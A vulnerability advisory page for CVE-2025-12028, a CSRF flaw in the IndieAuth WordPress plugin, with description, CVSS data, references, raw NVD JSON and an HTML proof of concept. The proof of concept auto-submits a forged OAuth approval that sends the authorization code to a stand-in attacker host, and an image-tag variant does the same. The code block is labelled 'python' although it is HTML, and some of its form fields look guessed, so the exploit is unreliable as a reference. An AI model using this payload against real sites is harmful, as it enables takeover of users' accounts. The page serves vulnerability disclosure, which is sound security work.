CVE-2025-12028

Description

The IndieAuth plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.5.4. This is due to missing nonce verification on the `login_form_indieauth()` function and the authorization endpoint at wp-login.php?action=indieauth. This makes it possible for unauthenticated attackers to force authenticated users to approve OAuth authorization requests for attacker-controlled applications via a forged request granted they can trick a user into performing an action such as clicking on a link or visiting a malicious page while logged in. The attacker can then exchange the stolen authorization code for an access token, effectively taking over the victim's account with the granted scopes (create, update, delete).

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

IndieAuth Plugin < 4.5.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-12028 -->
<!-- Auto-submit form to force victim approval of OAuth authorization -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Exploit - CVE-2025-12028</title>
</head>
<body>
    <h1>CSRF Exploit for IndieAuth Plugin</h1>
    <p>If this page auto-submits, the attack was successful.</p>
    
    <form action="https://target-wordpress-site/wp-login.php?action=indieauth" method="POST" id="csrf-form">
        <input type="hidden" name="response_type" value="code">
        <input type="hidden" name="client_id" value="https://attacker-controlled-app.com">
        <input type="hidden" name="redirect_uri" value="https://attacker-controlled-app.com/callback">
        <input type="hidden" name="state" value="random_state_value">
        <input type="hidden" name="scope" value="create update delete">
        <input type="hidden" name="action" value="approve">
        <input type="hidden" name="code" value="attacker_generated_code">
        <!-- Missing nonce field - this is the vulnerability -->
    </form>
    
    <script>
        // Auto-submit the form when page loads
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

<!-- Alternative: Image tag based CSRF (no user interaction) -->
<!-- <img src="https://target-wordpress-site/wp-login.php?action=indieauth&response_type=code&client_id=https://attacker.com&redirect_uri=https://attacker.com/callback&state=xyz&scope=create%20update%20delete&action=approve" width="0" height="0"> -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12028
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12028
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12028/
[4] VulDB https://vuldb.com/cve/CVE-2025-12028
[5] https://plugins.trac.wordpress.org/browser/indieauth/tags/4.5.4/includes/class-indieauth-authorization-endpoint.php#L411
[6] https://plugins.trac.wordpress.org/browser/indieauth/tags/4.5.4/includes/class-indieauth-authorization-endpoint.php#L418
[7] https://plugins.trac.wordpress.org/browser/indieauth/tags/4.5.4/includes/class-indieauth-authorization-endpoint.php#L476
[8] https://plugins.trac.wordpress.org/changeset/3384558/
[9] https://www.wordfence.com/threat-intel/vulnerabilities/id/42b373da-d5a6-4e3b-90f4-059da3641841?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12028", "sourceIdentifier": "[email protected]", "published": "2025-10-24T09:15:44.367", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The IndieAuth plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.5.4. This is due to missing nonce verification on the `login_form_indieauth()` function and the authorization endpoint at wp-login.php?action=indieauth. This makes it possible for unauthenticated attackers to force authenticated users to approve OAuth authorization requests for attacker-controlled applications via a forged request granted they can trick a user into performing an action such as clicking on a link or visiting a malicious page while logged in. The attacker can then exchange the stolen authorization code for an access token, effectively taking over the victim's account with the granted scopes (create, update, delete)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/indieauth/tags/4.5.4/includes/class-indieauth-authorization-endpoint.php#L411", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/indieauth/tags/4.5.4/includes/class-indieauth-authorization-endpoint.php#L418", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/indieauth/tags/4.5.4/includes/class-indieauth-authorization-endpoint.php#L476", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3384558/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/42b373da-d5a6-4e3b-90f4-059da3641841?source=cve", "source": "[email protected]"}]}}